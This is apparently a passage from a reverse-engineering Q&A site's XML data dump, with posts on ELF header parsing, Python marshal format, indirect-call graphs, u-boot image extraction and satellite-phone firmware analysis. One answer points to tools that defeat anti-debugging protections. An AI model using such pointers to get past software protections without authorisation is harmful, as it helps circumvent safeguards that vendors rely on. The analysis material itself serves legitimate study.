  <row Id="21148" PostTypeId="2" ParentId="21144" CreationDate="2019-04-14T18:08:03.940" Score="2" Body="&lt;p&gt;Depending on which debugger you are using, there are a few options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VEH debugger option in Cheat Engine will bypass some anti-debugging techniques. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use x64dbg or x32dbg, you can use ScyllaHide:&#xA;&lt;a href=&quot;https://github.com/x64dbg/ScyllaHide&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/x64dbg/ScyllaHide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also TitanHide(kernel mode):&#xA;&lt;a href=&quot;https://github.com/mrexodia/TitanHide&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/mrexodia/TitanHide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27693" LastActivityDate="2019-04-14T18:08:03.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21150" PostTypeId="2" ParentId="21119" CreationDate="2019-04-14T20:34:48.813" Score="2" Body="&lt;p&gt;In order to accomplish that you need some knowledge about ELF files. I'm not going explain every detail about ELF files since is a lot to cover so I'll try to be as precise as I can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;NOTE #01: I will use radare2 to dissect the file but you can do it with any hex editor out there.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;NOTE #02: Here is the &lt;a href=&quot;https://github.com/Ricx8/rmStack/tree/master/reverseEngineering/ans0001&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt; to the cpp file that I compile to explain you ELF files. Feel free to take it or make your own.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you need to know the structure of headers in ELF files. &lt;a href=&quot;https://en.wikipedia.org/wiki/Executable_and_Linkable_Format&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; you can see the structures of the headers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing we want to look for is &lt;code&gt;e_ident&lt;/code&gt; that represent the format of the file (32bit or 64bit) since the file header will be different depending of the file format.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;e_ident&lt;/strong&gt; offset=0x04, size=1byte&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Go to the 0x04 offset of the file and check one byte. (&lt;code&gt;s&lt;/code&gt; means seek)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:&amp;gt; s 0x04&#xA;0x00000004  02&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;e_ident = 0x02 means 64bit format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that we now the file format we need to know the offset of the section header(&lt;code&gt;e_shoff&lt;/code&gt;), the size of each entry(&lt;code&gt;e_shentsize&lt;/code&gt;), and the number of entries in the section header(&lt;code&gt;e_shnum&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;e_shoff&lt;/strong&gt; offset=0x28   size=8bytes&lt;br&gt;&#xA;  &lt;strong&gt;e_shentsize&lt;/strong&gt; offset=0x3A   size=2bytes&lt;br&gt;&#xA;  &lt;strong&gt;e_shnum&lt;/strong&gt; offset=0x3C   size=2bytes&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:&amp;gt; s 0x28&#xA;0x00000028  e03b 0000 0000 0000&#xA;&#xA;:&amp;gt; s 0x3A&#xA;0x0000003a  4000&#xA;&#xA;:&amp;gt; s 0x3C&#xA;0x0000003c  1d00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;e_shoff = 0x3be0 This is the offset of the section header.&lt;br&gt;&#xA;e_shentsize = 0x40 (64 bytes)&lt;br&gt;&#xA;e_shnum = 0x1d (29 entries)&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We also going to need the index of the section header that contains the names of each section header. This is store in &lt;code&gt;e_shstrndx&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;e_shstrndx&lt;/strong&gt; offset=0x3E    size=2bytes&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:&amp;gt; s 0x3e&#xA;0x0000003e  1c00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;e_shstrndx = 0x1c (entry 28)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the entry number you can get the address of shstrtab:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// e_shoff+(e_shentsize*e_shstrndx)+sh_offset&#xA;:&amp;gt; s 0x3be0+(0x40*0x1c)+0x18&#xA;0x000042f8  df3a 0000 0000 0000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;shstrtab = 0x3adf&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that you have that information you can run a loop that checks all the section entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//pseudocode&#xA;for (i=0; i&amp;lt;e_shnum; i++)&#xA;    entryN = e_shoff+(e_shentsize*i);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;NOTE #03:I'll not print those values here because I have to explain more but that will give you something similar to the command &lt;code&gt;readelf -W -l [program]&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each entry has a structure like the section header. To get the name of each entry add &lt;code&gt;sh_name&lt;/code&gt; to &lt;code&gt;shstrtab&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm only going to show you how I got &lt;code&gt;.text&lt;/code&gt; but the idea will be the same for any section entry. In my case &lt;code&gt;.text&lt;/code&gt; was the entry 0x0e(14). I'm going to need &lt;code&gt;sh_name&lt;/code&gt;, the offset in the file &lt;code&gt;sh_offset&lt;/code&gt;, and the size &lt;code&gt;sh_size&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;sh_name&lt;/strong&gt; offset=0x00   size=4bytes&lt;br&gt;&#xA;  &lt;strong&gt;sh_offset&lt;/strong&gt; offset=0x18     size=8bytes&lt;br&gt;&#xA;  &lt;strong&gt;sh_size&lt;/strong&gt; offset=0x20   size=8bytes&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//e_shoff+(e_shentsize*e_shstrndx)+sh_name&#xA;:&amp;gt; s 0x3be0+(0x40*0x0e)+0x00&#xA;0x00003f60  9d00 0000&#xA;&#xA;// Get the name&#xA;:&amp;gt; s 0x3adf+0x9d&#xA;0x00003b7c  2e74 6578 7400 2e66 696e 6900 2e72 6f64  .text..fini..rod&#xA;&#xA;//e_shoff+(e_shentsize*e_shstrndx)+sh_offset&#xA;:&amp;gt; s 0x3be0+(0x40*0x0e)+0x18&#xA;0x00003f78  9010 0000 0000 0000&#xA;&#xA;//e_shoff+(e_shentsize*e_shstrndx)+sh_size&#xA;:&amp;gt; s 0x3be0+(0x40*0x0e)+0x20&#xA;0x00003f80  3102 0000 0000 0000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;entryName = 0x3be0 // .text&lt;br&gt;&#xA;sh_offset = 0x1090&lt;br&gt;&#xA;sh_size = 0x0231 (561bytes)&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't found it this way then your ELF file must be corrupted. You can take the one I &lt;a href=&quot;https://github.com/Ricx8/rmStack/tree/master/reverseEngineering/ans0001/exec&quot; rel=&quot;nofollow noreferrer&quot;&gt;compile&lt;/a&gt; to follow this explanation. Good luck. &lt;/p&gt;&#xA;" OwnerUserId="24762" LastActivityDate="2019-04-14T20:34:48.813" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21151" PostTypeId="1" AcceptedAnswerId="21152" CreationDate="2019-04-15T01:57:14.123" Score="0" ViewCount="478" Body="&lt;p&gt;I'm analyzing the 3 binaries for updating firmware to the Inmarsat Isatphone Pro phone. Additionally, I'm following the Groundworks Technologies paper, and attempting to recreate their work as a learning exercise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was explained that in both File1.bin and File2.bin there was both ARM926EJ-S code and Blackfin DSP code combined. I'm interested in looking at the ARM code, but am not clear on how to separate one from another. Using binja and Ghidra at the moment...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can the ARM code get isolated, and what's the best way to decompile down to seeing functions like RegisterATCmdHook() and RegisterPendingATCmdHook()?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paper is available here: &lt;a href=&quot;https://uploadfiles.io/2l0f9ulc&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://uploadfiles.io/2l0f9ulc&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28156" LastActivityDate="2019-04-15T08:42:50.837" Title="How to split ARM code/data from binary in Inmarsat Isatphone Pro?" Tags="|ida|disassembly|binary-analysis|arm|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21152" PostTypeId="2" ParentId="21151" CreationDate="2019-04-15T07:38:21.203" Score="0" Body="&lt;p&gt;Once I solved the opposite problem: to collect Blackfin code as memory dump and load it into IDA. To solve your issue you can just consider DSP code as a data using memory chunk description from &lt;a href=&quot;https://www.researchgate.net/publication/254044387_Don&amp;#39;t_Trust_Satellite_Phones_A_Security_Analysis_of_Two_Satphone_Standards&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="24877" LastEditorUserId="24877" LastEditDate="2019-04-15T08:42:50.837" LastActivityDate="2019-04-15T08:42:50.837" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21153" PostTypeId="2" ParentId="21126" CreationDate="2019-04-15T10:56:41.783" Score="0" Body="&lt;p&gt;In case of it could be useful to someone else, I finally managed to understand how the Windows messages are handled in the program I'm trying to reverse (rather simple in fact). It's calling DialogBoxParamA (&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-dialogboxparama&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-dialogboxparama&lt;/a&gt;) : the before last parameter is a pointer to the procedure in charge of handling the messages.&lt;/p&gt;&#xA;" OwnerUserId="18818" LastActivityDate="2019-04-15T10:56:41.783" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21154" PostTypeId="1" AcceptedAnswerId="21155" CreationDate="2019-04-15T11:04:06.857" Score="1" ViewCount="175" Body="&lt;p&gt;So I'm trying to write a reversing tool right now and trying to make a CALL graph&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the problem I'm having is some calls are like Call *eax instead Call 'address' &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can easily generate the call-graph with absolute calls, but not with these&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so i have three questions :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;what type of functions get called using register instead of absolute? &#xA;i want to only generate call graph for functions inside the main program and not libraries and etc, do i need to worry about register calls or these are only used for special functions? if so, why? ( even if these are only for library functions i dont get why can't they be converted into absolute address during relocation??)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if i wanted to check what is the function that is being called aka by reading the register, is this possible using static analysis or i have to do dynamic analysis?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;can i make a decent call-graph using static analysis, meaning by only reading the binary? do popular tools like IDA use static to generate call graph as well? or will i face real problems if i do so?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28159" LastEditorUserId="28159" LastEditDate="2019-04-15T12:50:49.203" LastActivityDate="2019-04-15T12:50:49.203" Title="What type of function gets called using a register instead of address in the binary? how to find the address statically?" Tags="|binary-analysis|x86|binary|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21155" PostTypeId="2" ParentId="21154" CreationDate="2019-04-15T12:30:22.867" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In C++, the pointer of the method associated with an object are stored in something called a vtable. In order to call a specific method, you need to get a pointer to that vtable and get to the proper function. In the end, your going to end with a &amp;quot;call eax&amp;quot;, even though the function call is not from an external library.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Well, it really depends on your case. You can use techniques such as &lt;a href=&quot;https://en.wikipedia.org/wiki/Symbolic_execution&quot; rel=&quot;nofollow noreferrer&quot;&gt;symbolic execution&lt;/a&gt; in order to resolve the jump destination. The idea of this technique is to associate a &amp;quot;symbolic value&amp;quot; (i.e. a variable) to the registers and compute the equation generated by the assembly. Then you can solve your equation to get the final value of the register you are looking for.&lt;/p&gt;&#xA;&lt;p&gt;This works pretty well with simple equations, but if your code is &lt;a href=&quot;https://en.wikipedia.org/wiki/Obfuscation_(software)&quot; rel=&quot;nofollow noreferrer&quot;&gt;obfuscated&lt;/a&gt; (meaning that the code is voluntarily complex), you might not be able to solve the equation and find the call destination without a dynamic analysis. (Which, by the way, might also not give you the call destination if, for example, you don't find an execution path execution the &amp;quot;call eax&amp;quot;).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In IDA, the call graph is generated by performing a static analysis. However, IDA does not resolve dynamic call if the jump are more complicated than &amp;quot;loc_addr + offset&amp;quot;. It's a &amp;quot;safe&amp;quot; choice, because you might end up doing really complicated operation if your code is obfuscated.&#xA;What tools usually do, is find a &lt;a href=&quot;https://en.wikipedia.org/wiki/Heuristic&quot; rel=&quot;nofollow noreferrer&quot;&gt;heuristic&lt;/a&gt;: it's a technique that does not work for every problem, but it works in some cases (just like the IDA solution).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15903" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-04-15T12:30:22.867" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21157" PostTypeId="1" CreationDate="2019-04-15T20:41:36.247" Score="1" ViewCount="177" Body="&lt;p&gt;I have extracted a presence of &lt;code&gt;MZ&lt;/code&gt; file from memory which happen to be available in VirusTotal ( might be a malicious executable). However, I could not run the program. It seems to have some missing resources. It claims that the debug information is missing, and the PDB is incomplete (Executable compiled with Visual Studio). I am still a beginner and I am wondering if that is truly relevant for the program not being able to run? I thought that the debug information is not necessary to run a program, am I correct? I have an assumption that the program is flagged somewhere to make it act as in debugging mode until it receives something? Not sure if my assumption is even possible.&lt;/p&gt;&#xA;&lt;p&gt;If anyone can direct me by answering my questions or advising me where to look to find what is missing. Even answering by saying my claim is irrelevant can also help me a lot.&lt;/p&gt;&#xA;" OwnerUserId="28166" LastEditorUserId="245" LastEditDate="2020-09-10T06:33:53.237" LastActivityDate="2020-09-10T06:33:53.237" Title="How can I know what the executable is missing to run?" Tags="|malware|static-analysis|dynamic-analysis|pe-resources|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21158" PostTypeId="1" CreationDate="2019-04-15T21:31:56.663" Score="5" ViewCount="1746" Body="&lt;p&gt;I have a board where in principle aim at emulating a DVD-ROM loading iso file from a drive.&lt;/p&gt;&#xA;&lt;p&gt;This board is running a ARM CPU with 32MB of ram and has no vga output.&#xA;The firmware update comes with 2 files called uImage and rootfs that needs to copied into the SDCARD.&lt;/p&gt;&#xA;&lt;p&gt;I have tried:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;binwalk&lt;/code&gt;: returns nothing on both&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;file&lt;/code&gt;: returns nothing on both&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ mkimage -l uImage&#xA;GP Header: Size 9411c123 LoadAddr 7f1c7cb5&#xA;&#xA;$ mkimage -l rootfs&#xA;Image Type:   Freescale IMX Boot Image  &#xA;Image Ver:    2 (i.MX53/6/7 compatible)  &#xA;Mode:         PLUGIN  &#xA;Plugin Data Size:     302835498 Bytes = 295737.79 KiB = 288.81 MiB  &#xA;Plugin Code Size:     0 Bytes = 0.00 KiB = 0.00 MiB  &#xA;Plugin Load Address:  6c9053ca  &#xA;Plugin Entry Point:   3533782f  &#xA;U-Boot Data Size:     302835498 Bytes = 295737.79 KiB = 288.81 MiB  &#xA;U-Boot Load Address:  6c9053ca  &#xA;U-Boot Entry Point:   3533782f  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;From dumpimage&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ dumpimage -l rootfs  &#xA;Image Type:   Freescale IMX Boot Image  &#xA;Image Ver:    2 (i.MX53/6/7 compatible)  &#xA;Mode:         PLUGIN  &#xA;Plugin Data Size:     302835498 Bytes = 295737.79 KiB = 288.81 MiB  &#xA;Plugin Code Size:     0 Bytes = 0.00 KiB = 0.00 MiB  &#xA;Plugin Load Address:  6c9053ca  &#xA;Plugin Entry Point:   3533782f  &#xA;U-Boot Data Size:     302835498 Bytes = 295737.79 KiB = 288.81 MiB  &#xA;U-Boot Load Address:  6c9053ca  &#xA;U-Boot Entry Point:   3533782f  &#xA;&#xA;$ dumpimage -l uImage  &#xA;GP Header: Size 9411c123 LoadAddr 7f1c7cb5  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Data part is strange as the file is 40MB and not 300MB by the way as shown above.&#xA;I have tried removing the 64bit header of both and re-run all the above with no luck so far.&lt;/p&gt;&#xA;&lt;p&gt;I have seen a post for this device with a screenshot of the boot sequence, so it might be encrypted but not sure.&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mpCdf.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mpCdf.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I just want to add an additional driver/module to get higher Ethernet performance.&lt;/p&gt;&#xA;&lt;p&gt;If someone here as experience in u-boot with Freescale i.MX that would be great.&lt;/p&gt;&#xA;&lt;p&gt;The picture of the board:&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MxCuY.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MxCuY.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28144" LastEditorUserId="245" LastEditDate="2022-06-28T08:51:44.610" LastActivityDate="2022-06-28T08:51:44.610" Title="Help needed to extract u-boot kernel &amp; rootfs - nxp lpc 3143 processor" Tags="|linux|embedded|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="21159" PostTypeId="2" ParentId="21085" CreationDate="2019-04-15T23:13:58.977" Score="1" Body="&lt;p&gt;The purpose of a code object marshaling is the storing and restoring the program to/from the file. Therefore, it should have the coding scheme for all Python's features: objects, bytecode, names, etc, otherwise it can't restore a program from the file.&lt;/p&gt;&#xA;&lt;p&gt;So, it uses multiple type identifiers, which can be divided into four groups:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;single TYPE&lt;/strong&gt;:   {the type identifier} the size is 1 byte.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; Example: TYPE_NONE = 'N'`, `TYPE_TRUE = 'T'.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;short TYPE&lt;/strong&gt;:    {the type identifier} + 1 byte value&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; Example: TYPE_SHORT_ASCII_INTERNED = 'Z'.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;long TYPE&lt;/strong&gt;:     {the type identifier} + 4 bytes value&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; Example: TYPE_STRING = 's'.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;object TYPE&lt;/strong&gt;:   {the type identifier} + the combination of all different types, including the &lt;code&gt;object TYPE&lt;/code&gt; itself. That is, it has the recursive structure.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; Example: TYPE_CODE = 'c'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;All types can be seen here:&lt;/strong&gt; &lt;a href=&quot;https://github.com/python/cpython/blob/master/Python/marshal.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;cpython/Python/marshal.c&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Also, the code object has multiple &lt;code&gt;int&lt;/code&gt; fields. They doesn't have identifier in the marshaled string, just the sequence of four bytes values.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    int co_argcount;            /* #arguments, except *args */&#xA;    int co_kwonlyargcount;      /* #keyword only arguments */&#xA;    int co_nlocals;             /* #local variables */&#xA;    int co_stacksize;           /* #entries needed for evaluation stack */&#xA;    int co_flags;               /* CO_..., see below */&#xA;    int co_firstlineno;         /* first source line number */&#xA;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;The full code object structure is here:&lt;/strong&gt; &lt;a href=&quot;https://github.com/python/cpython/blob/master/Include/code.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;cpython/Include/code.h &lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It is useful to know the order, in which the code object have been dumped, because then we can calculate the each field offset in the resulting string, like - the first four byte is &lt;code&gt;co_argcount&lt;/code&gt;, the second is &lt;code&gt;co_kwonlyargcount&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The order of code object dumping:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    # PyCodeObject *co - pointer to the code object&#xA;    # p                - pointer to the file object,&#xA;    that accumulating marshaled code object before&#xA;    writing to the file.&#xA;    &#xA;    W_TYPE(TYPE_CODE, p);&#xA;    w_long(co-&amp;gt;co_argcount, p);&#xA;    w_long(co-&amp;gt;co_kwonlyargcount, p);&#xA;    w_long(co-&amp;gt;co_nlocals, p);&#xA;    w_long(co-&amp;gt;co_stacksize, p);&#xA;    w_long(co-&amp;gt;co_flags, p);&#xA;    w_object(co-&amp;gt;co_code, p);&#xA;    w_object(co-&amp;gt;co_consts, p);&#xA;    w_object(co-&amp;gt;co_names, p);&#xA;    w_object(co-&amp;gt;co_varnames, p);&#xA;    w_object(co-&amp;gt;co_freevars, p);&#xA;    w_object(co-&amp;gt;co_cellvars, p);&#xA;    w_object(co-&amp;gt;co_filename, p);&#xA;    w_object(co-&amp;gt;co_name, p);&#xA;    w_long(co-&amp;gt;co_firstlineno, p);&#xA;    w_object(co-&amp;gt;co_lnotab, p);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;The result: foo.py marshaled string fully deciphered:&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;b'&#xA;\xe3                    &amp;lt;foo.py: '\xe3' &amp;amp; 0x80 (FLAG_REF)  = 'c' (TYPE_CODE)&amp;gt;&#xA;\x00\x00\x00\x00        &amp;lt;foo.py: co_argcount: 0&amp;gt;&#xA;\x00\x00\x00\x00        &amp;lt;foo.py: co_kwonlyargcount: 0&amp;gt;&#xA;\x00\x00\x00\x00        &amp;lt;foo.py: co_nlocals: 0&amp;gt;&#xA;\x03\x00\x00\x00        &amp;lt;foo.py: co_stacksize: 3&amp;gt;               &#xA;@\x00\x00\x00           &amp;lt;foo.py: co_flags = '@' = 0x40 = 64&amp;gt;&#xA;s.\x00\x00\x00          &amp;lt;foo.py: number of bytes for module instructions = '.' = 46&amp;gt;&#xA;d\x00                   &amp;lt;foo.py: co_code:  0 LOAD_CONST        0 (1)&#xA;Z\x00                   &amp;lt;foo.py: co_code:  2 STORE_NAME        0 (a)&#xA;d\x01                   &amp;lt;foo.py: co_code:  4 LOAD_CONST        1 (2)&#xA;Z\x01                   &amp;lt;foo.py: co_code:  6 STORE_NAME        1 (b)&#xA;e\x00                   &amp;lt;foo.py: co_code:  8 LOAD_NAME         0 (a)&#xA;e\x01                   &amp;lt;foo.py: co_code: 10 LOAD_NAME         1 (b)&#xA;\x17\x00                &amp;lt;foo.py: co_code: 12 BINARY_ADD&#xA;Z\x02                   &amp;lt;foo.py: co_code: 14 STORE_NAME        2 (c)&#xA;d\x02                   &amp;lt;foo.py: co_code: 16 LOAD_CONST        2 (&amp;lt;code object baz at 0x7f380995e5d0, file &amp;quot;foo.py&amp;quot;, line 7&amp;gt;)&#xA;d\x03                   &amp;lt;foo.py: co_code: 18 LOAD_CONST        3 ('baz')&#xA;\x84\x00                &amp;lt;foo.py: co_code: 20 MAKE_FUNCTION     0&#xA;Z\x03                   &amp;lt;foo.py: co_code: 22 STORE_NAME        3 (baz)&#xA;e\x03                   &amp;lt;foo.py: co_code: 24 LOAD_NAME         3 (baz)&#xA;e\x00                   &amp;lt;foo.py: co_code: 26 LOAD_NAME         0 (a)&#xA;e\x01                   &amp;lt;foo.py: co_code: 28 LOAD_NAME         1 (b)&#xA;\x83\x02                &amp;lt;foo.py: co_code: 30 CALL_FUNCTION     2&#xA;Z\x04                   &amp;lt;foo.py: co_code: 32 STORE_NAME        4 (multiplication)&#xA;e\x04                   &amp;lt;foo.py: co_code: 34 LOAD_NAME         4 (multiplication)&#xA;d\x01                   &amp;lt;foo.py: co_code: 36 LOAD_CONST        1 (2)&#xA;\x13\x00                &amp;lt;foo.py: co_code: 38 BINARY_POWER&#xA;Z\x05                   &amp;lt;foo.py: co_code: 40 STORE_NAME        5 (square)&#xA;d\x04                   &amp;lt;foo.py: co_code: 42 LOAD_CONST        4 (None)&#xA;S\x00                   &amp;lt;foo.py: co_code: 44 RETURN_VALUE&#xA;)\x05                   &amp;lt;foo.py: co_const: size&amp;gt;&#xA;\xe9\x01\x00\x00\x00    &amp;lt;foo.py: co_const[0]: 1; '\xe9' &amp;amp; 0x80 (FLAG_REF) = 'i' (TYPE_INT)&amp;gt;&#xA;\xe9\x02\x00\x00\x00    &amp;lt;foo.py: co_const[1]: 2; '\xe9' &amp;amp; 0x80 (FLAG_REF) = 'i' (TYPE_INT)&amp;gt;&#xA;c                       &amp;lt;foo.py: co_const[2]: 'c' = TYPE_CODE&amp;gt;&#xA;\x02\x00\x00\x00        &amp;lt;baz: co_argcount: 2&amp;gt;&#xA;\x00\x00\x00\x00        &amp;lt;baz: co_kwonlyargcount: 0&amp;gt;&#xA;\x02\x00\x00\x00        &amp;lt;baz: co_nlocals: 2&amp;gt;&#xA;\x02\x00\x00\x00        &amp;lt;baz: co_stacksize: 2&amp;gt;               &#xA;C\x00\x00\x00           &amp;lt;baz: co_flags = 'C' = 0x43 = 67&amp;gt;&#xA;s\x08\x00\x00\x00       &amp;lt;baz: co_code: size = 8 bytes&amp;gt;&#xA;|\x00                   &amp;lt;baz: co_code: 0 LOAD_FAST                0 (x) &#xA;|\x01                   &amp;lt;baz: co_code: 2 LOAD_FAST                1 (y) &#xA;\x14\x00                &amp;lt;baz: co_code: 4 BINARY_MULTIPLY                &#xA;S\x00                   &amp;lt;baz: co_code: 6 RETURN_VALUE                   &#xA;)\x01                   &amp;lt;baz: co_const: size&amp;gt;&#xA;N                       &amp;lt;baz: co_const[0]: None&amp;gt;&#xA;\xa9\x00                &amp;lt;baz: co_names: size = 0  '\xa9' &amp;amp; 0x80 (FLAG_REF)  = ')'&amp;gt; &#xA;)\x02                   &amp;lt;baz: co_varnames: size&amp;gt;&#xA;\xda\x01                &amp;lt;baz: number of characters of next item; '\xda' &amp;amp; 0x80 (FLAG_REF)  = 'Z'&amp;gt;&#xA;x                       &amp;lt;baz: co_varnames[0]: x&amp;gt;&#xA;\xda\x01                &amp;lt;baz: number of characters of next item; '\xda' &amp;amp; 0x80 (FLAG_REF)  = 'Z'&amp;gt;&#xA;y                       &amp;lt;baz: co_varnames[1]: y&amp;gt;&#xA;r\x03\x00\x00\x00       &amp;lt;baz: co_freevars: reference to empty tuple '()'&amp;gt;     &#xA;r\x03\x00\x00\x00       &amp;lt;baz: co_cellvars: reference to empty tuple '()'&amp;gt;&#xA;\xfa\x06                &amp;lt;baz: next item length&amp;gt;&#xA;foo.py                  &amp;lt;baz: co_filename&amp;gt;&#xA;\xda\x03                &amp;lt;baz: number of characters of next item&amp;gt;&#xA;baz                     &amp;lt;baz: co_name: 'baz'&amp;gt;&#xA;\x07\x00\x00\x00        &amp;lt;baz: co_firstlineno: 7&amp;gt;&#xA;s\x02\x00\x00\x00       &amp;lt;baz: co_lnotab: size = 2 &amp;gt;&#xA;\x00\x01           